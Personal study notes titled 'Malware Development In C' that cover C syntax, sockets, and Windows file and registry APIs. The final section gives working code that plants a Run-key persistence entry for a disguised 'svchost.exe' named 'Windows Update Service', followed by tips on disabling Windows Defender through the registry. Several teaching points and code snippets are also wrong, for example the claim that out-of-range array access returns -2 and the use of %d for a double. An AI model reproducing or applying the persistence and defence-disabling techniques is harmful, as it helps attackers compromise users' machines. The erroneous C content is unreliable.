Malware Development In C

C Syntax

General

- The C compiler executes the code defined inside the main() method in the C program (a little like Java)
- Commands in C end in a semi-colon to signify the end of the command to the compiler (like Java).

Variables

- Declare the type of variable at declaration. Example:

```
char characterName[] = "ExampleName";
```

Note: Strings are created as an array of characters in C.

Note: If you want to store just a single character in a variable, you don't need the [] array symbol and you have to use single quotation marks '' to assign a single character.

- Use variables within a "printf" statement (C-equivalent of the "print" statement) with placeholders that denote the type of variable we are using for the substitution (examples include %s, &d, %lf, %c, %p representing strings, integers, doubles, **c**haracter (single character), pointer memory address respectively). Example:

```
#include <stdio.h>
#include <stdlib.h>

int main()
{
    char testName[] = "test";
    char secondTestName[] = "second test";
    printf("Hello world! I have 2 names: %s and %s\n", seco
```

```
ndTestName, testName);
    return 0;
}
```

→ We use %s because we are substituting 2 strings into our printf statement. Using this % format specifier sign tells C that you're printing data of a specific format.

→ You can specify multiple variables to substitute in, but the variables you specify must be given in the order you want them to replace the placeholders. E.g., for the example above, secondTestName will replace the first %s placeholder because it was passed first. The second %s will be replaced by testName.

Constants

- You can edit variables throughout your C program. If you don't want a variable to be edited, you can label it as a constant with the "const" keyword before/after you declare the type of the variable. Example:

```
int const num = 5;

// or
const int num = 5;
```

- Pieces of primitive data like strings and numbers in C are considered constants by default. E.g., 70 is a constant without you needing to declare it as constant - 70 remains 70 you can't change that fact unless you change the number itself.

Arithmetic & Logic

- If you do arithmetic operations in C with integers, you will only get an integer back. For example, if you did 5 / 4 in C, you will get an answer of 1 back because 5, 4 and 1 are all integers. If you want the correct answer, you must anticipate the type of the answer and adjust your arithmetic operation. For example, here you could replace 4 with 4.0 to convert it to a double and thus get a double answer of 1.250000 back.
- You can put stuff to the power using the pow() function. It takes 2 parameters. The first is the base and the second is the exponent.

- You can square root a number with the sqrt() function. It takes 1 parameter, which is the number you want to square root.
- You also have a ceiling function and a floor function (ceil() and floor() respectively) which take 1 parameter and perform the ceiling and floor functions respectively.
- You have the same OR and AND operators in C as you do in Java (|| and && respectively).
- You have the same mathematical comparison operators in C as you do in Java (e.g., !=, >=, <= etc.).

Comments

- Comment syntax is the same in C as it is in Java.

User Input

scanf

- You can allow a user to input something using the scanf() function along with the printf() function. It usually comes after a printf() statement that prompts the user about what to input. Example:

```c
double age;
printf("Enter your age: ");
scanf("%d", &age);
printf("You are %d years old", age);
```

→ The first printf statement prompted the user about what to input.

→ The scanf statement decided to allow an input of type double (which also can account for integer input) **using “” double quotation marks** and store it at the memory address (denoted with the & sign) of the variable “age”.

- If you have the user input a string, when defining the variable to store the user’s input into, we can specify the number of characters we expect to store within the string inside of the [] brackets. Example:

```c
char name[5];
printf("Enter your name: ");
scanf("%s", name);
printf("Your name is %s", name);
```

→ When using the variable within scanf and printf statements, we actually don't need the & sign to specify the memory address of string arrays in C. This is because the name of the string array itself is a memory address already so adding the & sign is redundant. The name of the string array is treated as a pointer to the very first element (character) of that string array in memory.

→ If the user entered a name greater than 5 characters long, it wouldn't cause an error. C would take all the characters of the input and write them starting at name[0]. It doesn't check if the number of characters exceeds the allocated memory space for the array. This is dangerous because it could lead to overwriting of data outside of the bounds of the memory space of the array.

→ If a user inputs a string with a space, scanf will automatically truncate the rest of the input after it encounters the first space within the string.

- If you have scanf input a character %c value, you must have a space before you specify the %c format specifier within the scanf statement. This is to skip over any whitespace or Enter characters entered before in the input buffer. Example:

```c
scanf(" %c", &inputcharacter);
```

→ If you didn't have this, if there was a space or Enter character in the input character, scanf would take this character as the %c input character instead of the actual character input by the user.

fgets

- fgets is another command that can specify how many characters a user is allowed to enter. This can help control user input to prevent writing data outside of the memory space allocated for the string array, which means dangerous behaviour is prevented.

- fgets doesn't truncate user input after it encounters a space in the input, unlike scanf.
- You have to specify from where to get the input. We usually use stdin which means "standard input" (i.e., the normal console in which users enter their input). Example:

```c
int main()
{
        char name[20];
        printf("Enter your name: ");
        fgets(name, 20, stdin);
        printf("Your name is %s", name);
        return 0;
}
```

→ fgets stores the input in the name array, allowing a maximum of 20 characters to be input (including spaces) from standard input (i.e., the normal console).

- A downside of fgets is that when the user clicks their Enter key to enter their input in the console, fgets captures that Enter keystroke and actually stores it at the end of the string input. Thus, when you use the printf statement with it, their will be a newline at the end of the output.

Arrays

- Arrays can be created by specifying the data type of the elements it will store, followed by the array name, followed by the [] and then set (=) equal to elements listed in {} curly brackets. This is initialising the array with some values.
- You can access elements at specific positions of the array using indices, just like how you'd expect.
- You can replace elements in arrays at specific index positions using the = equal sign, just like how you'd expect.
- If you don't know what elements you want to put into the array just yet, you don't have to. Just set the size of the array as an integer within the [] during initialisation and end the line with a ;. Example:

```
int numbers[10];
```

- If you try to access a value at a specific index of the array that doesn't exist, it will return -2 meaning the element wasn't found.
- You can have 2D arrays declared with [][]. Every element is an array. Example:

```
int nums[][] = {
                                    {1, 2},
                                    {3, 4},
                                    {4, 5}
                                };
```

→ To access elements, the first index will represent the element selected of the outer array. The second index will represent the element inside that selected array element. Example:

```
int selectedNumber = nums[0][1];

// selectedNumber will be 2
```

→ You can edit the elements by accessing the elements just like we did above.

Functions (Methods)

- Functions perform a specific task/purpose.
- Methods can have a return type like void or int just like in Java. But, unlike Java, you don't ever declare a visibility modifier for it.
- You can pass in parameters (along with their data type) just like how you would in Java into those functions.
- If you are calling functions, you have to declare it before the call. You have to write a "prototype" at the top of the program by just writing the method signature at the top then, if you want, provide the actual implementation later. The prototype lets the C program compile because the function calling the function can actually access it. **This is optional - you can just straight away provide the entire method implementation at the start instead of just its method signature.**

Loops

- You have standard loops like if and while in C. Their syntax is basically identical to their syntax in Java.
- You can also have switch-case statements in C that evaluate something and perform a specific operation based on its evaluation. Example:

```
char grade = 'A';

switch(grade) {
        case 'A':
                printf("You did really good!");
                break;
        case 'B':
                printf("Close enough!");
                break;
        default:
                printf("Not a valid grade!");
}
```

→ The default case is used if the other cases are not satisfied.

Note: Make sure to have the "break" keyword within each case. This will mean the machine doesn't keep checking to see if other cases are also true if it encounters the case that's true. This saves time and is way more efficient.

- While loops in C have the exact same syntax as while loops in Java. You can also have do-while loops where the code in the do statement is executed first **before the condition in the while clause is evaluated.**
- For loops in C have the exact same syntax as for loops in Java.

Structs

- Structs are a way you can represent an entity in C.
- You can give it "fields" like you would in Java with their data type and name.
- You can change the value of these "fields" by calling [struct object name]. [field] = [value]. Example:

```
struct Student {
        char name[25];
        char major[20];
        int age;
};

int main() {
        struct Student student1; // declare an object of th
at Struct type
        student1.age = 18;
        strcpy(student1.major, "Computer Science");
        strcpy(student1.name, "Tommy");
        return 0;
}
```

Note: We can't just directly assign a string to a "field" of the Struct object. This is because this would seem to the C compiler that you are trying to force the memory address of the string you are assigning to be the memory address of the array field. You can instead use the strcpy([destination], [source]) function to copy the string to a specific function as we did above.

Memory Addresses in C

- You can access the (hexadecimal) memory address of a specific variable using the %p format specifier. Example:

```
printf("%p", &age);

// will output something like 0060FF00
```

→ The & operator returns the physical memory address of the variable name it is put behind.

Pointers in C

- Pointers are a type of data that are memory addresses in RAM.
- When you create a pointer variable, you are storing the memory address of another variable inside that pointer variable. Example:

```c
int age = 30;
int *p = &age;
```

→ The pointer variable called p stores the memory address of the age variable. The * operator creates the pointer variable.

- Dereferencing a pointer is going to the memory address stored in that pointer variable and grabbing the data stored at that memory address. You deference it with the * operator, which no longer makes it a pointer. It now becomes whatever is stored at that memory address. Example:

```c
int age = 30;
int *p = &age;

// dereferencing
printf("%d\n", *&age);

// alternatively
printf("%d\n", *p);
```

→ The alternative works because p is a pointer variable and you dereference it with a single * which tells the C compiler to get the data stored at the address that the pointer variable p contains.

Note on Strings: When creating a constant string value for your C program, don't forget the * sign after "char" when creating it. Example:

```c
const char* path = "C:\";
```

→ The * is necessary because char by itself can only hold a single byte of data (one letter). You have to use * to change it to become a pointer to the memory address where that string of **multiple characters** is stored. When this happens, you don't need the [] after the name of the string. Alternatively, you can keep the [] and remove the asterisk (thus, ignoring this note completely).

If you use the pointer method with *, you will be allowed to change the string contained in the variable later!!!

Files

Writing to Files

- Creating a file requires creating a pointer to a physical file. Example:

```
FILE * filePointer = fopen("C:\employees.txt", "w");

fclose(filePointer);

// this code opens the file in write mode. If it doesn't ex
ist, it will create it first

// if you use write mode, it will overwrite whatever was in
the file - use append mode!
```

→ Specify that it's a file pointer with the FILE keyword (all in caps is crucial).

→ filePointer is the name of the pointer we are using to signify the file we are operating on.

→ The fopen function helps us to open a file.

→ The first parameter for fopen is the path of the file - if you don't specify an absolute path, it will create the file in the directory of your C files. The second parameter is the mode we want to open the file with. You can choose from "r" (read), "w" (write) and "a" (append).

→ The fclose function closes the file when we're done with it, saving changes made. It takes the file pointer as a parameter to know which file you're talking about.

- Writing to a file uses the fprintf() function. The first parameter is the pointer to the file, the second parameter is a string of text that you want to write to the file). Example:

```
FILE * filePointer = fopen("C:\employees.txt", "a");

fprintf(filePointer, "Kelly\n Tom\n Billy");
```

```
fclose(filePointer);
```

→ You can pretty much write to any type of file you want.

Reading Files

- This is using the “r” mode for a file.
- You need to create an array of characters (string) object first.
- Then, use the fgets() function to read the information and store it. Its first parameter is the string variable to store what it reads from the file in. Its second parameter is the final size of what it reads from the file - **this should match the size of the string variable used to store what’s read from the file**. Its third parameter is the pointer to the file from which it is going to read. Example:

```
char linesRead[255];
FILE * filePointer = fopen("C:\employees.txt", "r");

fgets(linesRead, 255, filePointer)
fgets(linesRead, 255, filePointer)
print("%s", linesRead); // prints line 2 of the file to the
console

fclose(filePointer);
```

Note: each fgets line represents the line you’re reading. E.g., above, the first fgets line read the first line of the text file and stored it in linesRead. The second fgets line read the second line of the text file and stored it in linesRead, overwriting line 1 stored in linesRead. So, ultimately, the second line of the file was printed in the printf statement.

Sockets

Introduction

Sockets are end-points of a connection between 2 computers. They are used to help process information between computers over a network.

Protocols like HTTP and FTP rely on sockets to make connections.

Client Socket Workflow

You can send and receive information on any socket.

A client socket can send and receive data from a server socket.

1. You would first have to create a socket. In C, you can create a socket with the socket() function and store the result in an integer descriptor to refer to it throughout the program (creating a socket returns a plain integer called the socket descriptor which can be used to uniquely identify the socket). You will have to specify the type of socket call in the socket() function (e.g., TCP, HTTP etc.).
2. The socket is then connected to a remote address with the connect() function. We specify the IP address of the target and the port on the target to connect to. You may have a return value to indicate a successful connection.
3. The socket can then retrieve data with the recv() function.

Creating a Client File (to set up the Client socket)

Assumes we are creating a TCP socket connection

```
// -------------------------- necessary libraries ---------
--------------
#include <stdio.h>
#include <stdlib.h>

// contains most socket functionality and socket API
#include <sys/types.h>
#include <sys/socket.h> // for Linux
#include <netinet/in.h> // for Linux
#include <winsock2.h> // for Windows
#include <ws2tcpip.h> // for Windows

// ------------------------------------------------------
```

```
-----------------

int main() {

        //create a socket
        int socket;
        socket = socket(AF_INET, SOCK_STREAM, 0);

        // specify an address for the socket to connect to
        struct sockaddr_in server_address;
        server_address.sin_family = AF_INET;
        server_address.sin_port = htons(9002);
        server_address.sin_addr.s_addr = inet_addr("192.16
8.0.1");


        // connection - a value of 0 is successful but a va
lue of -1 is unsuccessful
        int connection_status =
        connect(socket, (struct sockaddr *)&server_address,
sizeof(server_address));

        if (connection_status == -1) {
                printf("There was an error in establishing
a connection to the remote socket.");
        }

        // receiving data from the server
        char server_response[256];
        recv(socket, &server_response, sizeof(server_respon
se), 0); // can send() too

        // print out data we received from the server
        printf("The server sent the following data: %s\n",
server_response);

        // close the socket when we're done
        close(sock);
```

```
        return 0;
};

/*

When you're finished with creating this, make sure to compi
le it as appropriate to
actually be able to run it.

*/
```

Sidenotes

- The socket(domain, type, protocol) has 3 parameters. The domain is the “network territory” that the socket is allowed to communicate with. AF_INET would be the IPv4 domain across the Internet or a local network with IPv4 addresses. AF_INET6 would be the IPv6 domain across the Internet or a local network with IPv6 addresses. AF_LOCAL would be the local domain across the **local physical machine only** and no network at all.
- The type parameter in the socket() function represents the style of socket communication. SOCK_STREAM type uses TCP. It provides a reliable, 2-way connection that guarantees every byte arrives in the exact order it was sent without any data being lost/corrupted (if so, the OS would automatically resend it). SOCK_DGRAM type uses UDP (self-explanatory - no connection needs to be established and you can just slap on an address onto data packets and send them etc.).
- The protocol parameter in the socket() function represents how the socket should transmit the data it handles. If you pass 0 as the protocol argument, you’re basically telling the OS to look at your combination of the arguments you passed in for the domain and type and to select the default protocol for that combination.
- The standard socket library in C already defines a blueprint (struct) called “struct sockaddr_in” which means “Socket Address Internet” and this struct contains fields that the OS needs to send data correctly to a destination. It

includes fields like sin_family (network territory/domain), sin_port (port to target on the destination), sin_addr.s_addr (IP address of the destination). The sockaddr_in structure is specifically used for IPv4 addresses. There are other types like sockaddr_in6 (for IPv6) etc.

- The htons() function is used when specifying a port for sin_port. If you passed in a port number directly, different architectures/systems would interpret it differently. For example, the Internet is a Big Endian system so a port number like 8080 (0x1F90) would be interpreted by the Internet at 1F 90 (most significant byte comes first) but Intel/AMD processors, which are Small Endian systems, would interpret port 8080 as 90 1F (least significant byte first). The connection would fail due to different interpretations as a result. The htons() function solves this mismatch automatically.
- The inet_addr("[IP]") function is used to handle the data type of an IP address to pass it in correctly.
- The connect(socket descriptor to use, general address cast, size of the struct) has 3 parameters. The first parameter is just the descriptor (name) of the socket we created and want to use to initiate the connection on. The second parameter is to cast the structure of the sock address to a general "sockaddr" type. This is because the connect() function can't accept different types of parameters for the socket address (e.g., sockaddr_in, sockaddr_in6 etc.) so you must explicitly cast it to a generic "sockaddr_in" type to be accepted. The third parameter tells the OS the size of the server_address structure you made. This ensures the OS reads all the information of the server_address structure in memory. Not more. Not less.
- The recv(sock descriptor in use, the location of the char storage buffer we created earlier to store received data, the maximum number of bytes to store in the storage buffer (same as size of storage buffer), any special flags - keep this 0 to behave normally).

Server Socket Workflow

1. You would first have to create a server socket, again with the same socket() method.
2. We need to then bind that socket to an IP address and a port number using the bind() method. Specifies where our socket is going to listen on our local server machine (instead of where it's going to connect to from the client's perspective).

3. From here, the socket should then listen for any incoming connections with the listen() method.
4. If there is a connection, the socket should then accept the connection with the accept() method.
5. After a connection has been established, the socket can then send() or recv() data to the socket it has connected to.

Creating a Server File (to set up the Server socket)

```
// -------------------------- necessary libraries ---------
--------------
#include <stdio.h>
#include <stdlib.h>

// contains most socket functionality and socket API
#include <sys/types.h>
#include <sys/socket.h> // for Linux
#include <netinet/in.h> // for Linux
#include <winsock2.h> // for windows
#include <ws2tcpip.h> // for windows

// ------------------------------------------------------------
--------------

int main() {
        char message[256] = "You have connected to the serv
er!"; // the msg the server sends

        // creating the server socket
        int server_socket;
        server_socket = socket(AF_INET, SOCK_STREAM, 0);

        // define the server address
        struct sockaddr_in server_address
        server_address.sin_family = AF_INET;
        server_address.sin_port = htons(9002);
        server_address.sin_addr.s_addr =
```

```
        // bind the socket to the specified IP and port abo
ve
        bind(server_socket, (struct sockaddr*)&server_addre
ss, sizeof(server_address));

        // start listening for connections
        listen(server_socket, 3);

        // accept a connection
        int client_socket;
        client_socket = accept(server_socket, NULL, NULL);

        // send data to the socket we're connected to
        send(client_socket, message, sizeof(message), 0);
// can recv() information instead

        // close the socket when finished
        close(server_socket);


        return 0;

}

/*

When you're finished with creating this, make sure to compi
le it as appropriate to
actually be able to run it.

You will want to run the server script first to have it lis
ten for connections.

*/
```

Sidenotes

- The listen(socket descriptor, backlog (number of clients allowed to wait)) has 2 parameters. First is the socket we are listening on for a connection (the server socket we created). Second parameter is the maximum length of the queue of pending connections allowed for the socket when listening. This means if multiple clients try connecting to this server socket, the OS puts those waiting in the queue of pending connections. If there are more clients trying to make a connection than the size of the waiting queue, the excess are given a “connection refused” error.
- The accept(socket descriptor, blank client address structure, pointer to the size of the client address structure) has 3 parameters. The first parameter is the socket we are listening on for the connection. The second parameter is the “output parameter” and tells the OS to write the information of the client socket that the server accepted the connection with to a completely blank, new struct sockaddr_in object - **if you don’t care about knowing who connected to you, you can pass in NULL here instead.** The third parameter is the pointer to the size of this struct using the sizeof() method - **again, you can pass in NULL if you don’t care about who’s connecting to you.**
- The send(socket descriptor, the data to send, size of the message to send, optional flags) has 4 parameters. The first parameter is specifying the socket **to send the data to (i.e., client socket)**. The second parameter is the data we created/have that we want to send. The size of the message to send to let the OS know how much space the data will take up, using the sizeof() method. The fourth parameter is optional flags that we set (0 for default/no special flags).

Windows Handles

Introduction

Handles in Windows are used to internally point to Windows resources instead of pointers.

Handles allow for:

- abstraction of complex information because how Windows gets the resource is not revealed to the user

- greater protection of Windows resources because Windows can control access
- tracking of Windows resources so Windows can keep track of what processes have access to what Windows resources

Types of Handles:

- File Handles

```
HANDLE hFile;
```

- Process Handles

```
HANDLE hProcess;
```

- Registry Key Handle

```
HKEY hKey
```

- Socket Handle

```
SOCKET socket;
```

- DLL Handle

```
HINSTANCE hInstance;
```

How Handles work

1. You call a Windows function to return a handle to a specific resource. The user themselves don't know where the HANDLE is pointing - Windows manages it.
2. The handle you get can be used in operations to do things.
3. When finished, the handle is closed.

Example:

```c
// CreateFileA returns a handle to the test.txt file, which is stored in hFile
HANDLE hFile = CreateFileA("test.txt", GENERIC_WRITE, 0, NULL, CREATE_NEW, 0, NULL);

// the handle represents the file - we do operations on the handle to get to the file
WriteFile(hFile, "data", 4, NULL, NULL);

// close the handle when finished
CloseHandle(hFile);
```

File Operations in Windows C

These are different from the other file operations we saw earlier because these are specific to Windows (they are Windows API functions).

Core Functions

CreateFileA (open & create files)

```c
// syntax

HANDLE CreateFileA(
        LPCSTR lpFileName,                          // string path to the file
        DWORD dwDesiredAccess,                      // type of access
        DWORD dwShareMode,                          // permission given to other processes
        LPSECURITY_ATTRIBUTES lpSecurityAttributes, // controls who can access the file
        DWORD dwCreationDisposition,                // behaviour when creating/opening
        DWORD dwFlagsAndAttributes,                 // file attributes
        HANDLE hTemplateFile                        //
```

```
);

// If successful, it will return a HANDLE. If unsuccessful,
INVALID_HANDLE_VALUE
```

→ dwDesiredAccess can be given the following values:

- GENERIC_READ: read from file
- GENERIC_WRITE: write to file
- GENERIC_READ | GENERIC_WRITE : read/write to file

→ dwShareMode controls how other processes can access the file (permissions they're given):

- 0: no sharing so other processes can't access the file at all, except your process (suspicious - can be indicative of malware to prevent AV from scanning the file)
- FILE_SHARE_READ: other processes can only read your file but not write to it
- FILE_SHARE_WRITE: other processes can write to your file too

etc.

→ lpSecurityAttributes controls who can access the file:

- NULL: used most of the time to mean default security. Child processes (processes created by a process) can't access what their parent process can access. (Used by malware most of the time but not strong enouogh on its own to suggest suspicious behaviour).
- &sa: child processes can automatically access the file.

→ dwCreationDisposition can be given the following values:

- CREATE_NEW: create a new file (if it doesn't already exist)
- CREATE_ALWAYS: create the file (overwrite it if it already exists)
- OPEN_EXISTING: open the existing file (if it already exists)
- OPEN_ALWAYS: open the existing file if it exists, create it if it doesn't
- TRUNCATE_EXISTING: open the file and delete its contents

→ dwFlagsAndAttributes tell Windows how to treat a file and can be given the following values:

- FILE_ATTRIBUTE_NORMAL: normal file. Not a system file, not read-only and no special permissions.
- FILE_ATTRIBUTE_HIDDEN: hidden file. This is hidden from view unless the user selects “Show Hidden Files” in File Explorer. Still accessible via a file path though.
- FILE_ATTRIBUTE_SYSTEM: system file. Hidden from view by default
- FILE_FLAG_DELETE_ON_CLOSE: delete the file when it’s closed

etc.

Note: You can combine multiple attributes with the | pipe operator.

→ hTemplateFile copies attributes from a file to another new file so that the new file has those same attributes:

- NULL: used most of the time so the new file gets default attributes (FILE_ATTRIBUTE_NORMAL). (Malware doesn’t use this).

WriteFile (write data to a file)

```
// syntax

BOOL WriteFile(
        HANDLE hFile,                    // file handle fr
om CreateF
        LPCVOID lpBuffer,                // data to write
to the file
        DWORD nNumberOfBytesToWrite,     // how many bytes
of data written to the file
        LPDWORD lpNumberOfBytesWritten,  // output - actua
l bytes written
        LPOVERLAPPED lpOverlapped        // overlapped (as
ync) - NULL for sync
);
```

Note: sync means you have to wait for the operation (in this case, writing to the file) to finish before you can move to the next thing in your wider program.

Overlapped (async) means your process doesn't have to wait - the OS will do the operation in the background.

ReadFile (read data from a file)

```
// syntax

BOOL ReadFile(
        HANDLE hFile,                   // file handle fro
m CreateFileA
        LPVOID lpBuffer,                // the buffer to s
tore the data being read
        DWORD nNumberOfBytesToRead,     // maximum number
of bytes to read from the file
        LPDWORD lpNumberOfBytesRead,    // output - actual
number of bytes read
        LPOVERLAPPED lpOverlapped       // NULL for sync,
Overlapped for async
);
```

CloseHandle (close file handle)

```
// syntax

BOOL CloseHandle(HANDLE hObject);
```

Important Concepts of Type

- LPCSTR = Long Pointer to Constant String = const char* (the asterisk just means a pointer to a memory address containing the char(s)). Short example:

```
char* message = "Hello World";

/*

The string "Hello World" is stored in memory at a particula
r address. The variable
```

```
"message" stores the address where the string is stored. So
if the string was stored
at address 1000, the variable "message" at address 2000, fo
r example, would store the
value 1000.

You can then access the stuff in the message using this poi
nter.
E.g., printf("%c\n", message[0]); would print "H".

*/
```

- LPSTR = Long Pointer to String = char*
- DWORD = 32-bit unsigned integer used for sizes, flags, counts etc.
- HANDLE = pointer to a file (internal)

Windows Registry Operations in C

The Windows Registry is a database of WIndows settings. It stores settings and configurations for the WindowsOS, software, user preferences etc.

It has a tree structure and can be modified through writing programs.

RegOpenKeyExA - Open Registry Key

This opens the registry key for access.

```
// syntax

LONG RegOpenKeyExA(
        HKEY hKey,                  // parent key (e.g., HK
EY_LOCAL_MACHINE)
        LPCSTR lpSubKey,            // path to key from par
ent key
        DWORD ulOptions,            // just use 0 for this
option
        REGSAM samDesired,          // access level for tha
t registry key
```

```
        PHKEY phkResult             // this is the output -
the handle (pointer) to the key
);

// this will return ERROR_SUCCESS if successful. If unsucce
ssful, an error code.
```

Note: Here's an example of a path to a key from the parent key HKEY_CURRENT_USER: Software\\BlueJ\\BlueJ\\5.5.0\\. A value is stored inside the full path of the key - which is what you access and edit.

→ The hKey parent key can be any of these common HKEYs:

- HKEY_CURRENT_USER: settings for the current user
- HKEY_LOCAL_MACHINE: settings for the entire system
- HKEY_USERS: settings for all users

etc.

→ samDesired specifies the level of access to the registry key being opened. This includes:

- KEY_READ: read-only
- KEY_WRITE: write
- KEY_ALL_ACCESS: full access

RegQueryValueExA - Read a Registry Value

This reads a value from a registry key. You may not need this for malware development, as you are simply creating/modifying the registry.

```
// syntax

LONG RegQueryValueExA(
        HKEY hKey,                  // the key handle retu
rned from RegOpenKeyEx
        LPCSTR lpValueName,         // name of the value i
n the key to read
        PDWORD lpReserved,          // just use NULL
        PDWORD lpType,              // variable to store t
he data type of what is read
```

```
        LPBYTE lpData,                // variable to store t
he data read (as a data buffer)
        PDWORD lpcbData               // variable to store t
he buffer size (what was read)
);

// this will return ERROR_SUCCESS if successful. If unsucce
ssful, an error code.
```

RegSetValueExA - Write a Registry Value

This writes a value to a registry key

```
// syntax

LONG RegSetValueExA(
        HKEY hKey,                    // key handle returne
d from RegOpenKeyEx for that key
        LPCSTR lpValueName,           // name of the value
to create/modify
        DWORD Reserved,               // Just use 0 for th
is
        DWORD dwType,                 // the data type of
the data to write
        const BYTE* lpData,           // the actual data t
o write
        DWORD cbData                  // the size of the d
ata to write in bytes
);

// this will return ERROR_SUCCESS if successful. If unsucce
ssful, an error code.
```

→ dwType is the actual data type of the data to write to the value. This includes:

- REG_SZ: string
- REG_DWORD: 32-bit integer

- REG_BINARY: binary data

etc.

RegCloseKey - Close Registry Key

This closes the Registry key when you're done with it

```
// syntax

LONG RegCloseKey(HKEY hKey);

// returns ERROR_SUCCESS if successful
```

Example:

```
#include <windows.h>
#include <stdio.h>

int main() {
    HKEY hKey;
    LONG result;

    // Step 1: Open Run key (where startup programs are reg
istered)
    result = RegOpenKeyEx(
        HKEY_CURRENT_USER,  // Current user's settings
        "Software\\Microsoft\\Windows\\CurrentVersion\\Ru
n",  // Path
        0,                  // Reserved
        KEY_WRITE,          // Need write access
        &hKey               // Output handle
    );

    // Step 2: Check if successful
    if (result != ERROR_SUCCESS) {
        printf("Failed to open registry key: %ld\n", resul
t);
        return 1;
```

```
    }

    // Step 3: Set a value (malware path)
    const char* malware_path = "C:\\Users\\Admin\\AppData
\\Roaming\\svchost.exe";

    result = RegSetValueEx(
        hKey,                          // Key handle
        "Windows Update Service",      // Value name (appears
in registry)
        0,                             // Reserved
        REG_SZ,                        // String type
        (const BYTE*)malware_path,     // Data
        strlen(malware_path) + 1       // Size (including null
terminator)
    );

    // Step 4: Check if successful
    if (result != ERROR_SUCCESS) {
        printf("Failed to set registry value: %ld\n", resul
t);
        RegCloseKey(hKey);
        return 1;
    }

    printf("Registry entry created\n");
    printf("Malware will run on next Windows startup\n");

    // Step 5: Close the key
    RegCloseKey(hKey);

    return 0;
}
```

Tips:

- You can search up common Registry locations to target. E.g., registry locations that run on startup, and then put malware to run on startup there. E.g., disable security by targeting registry locations for Windows Defender.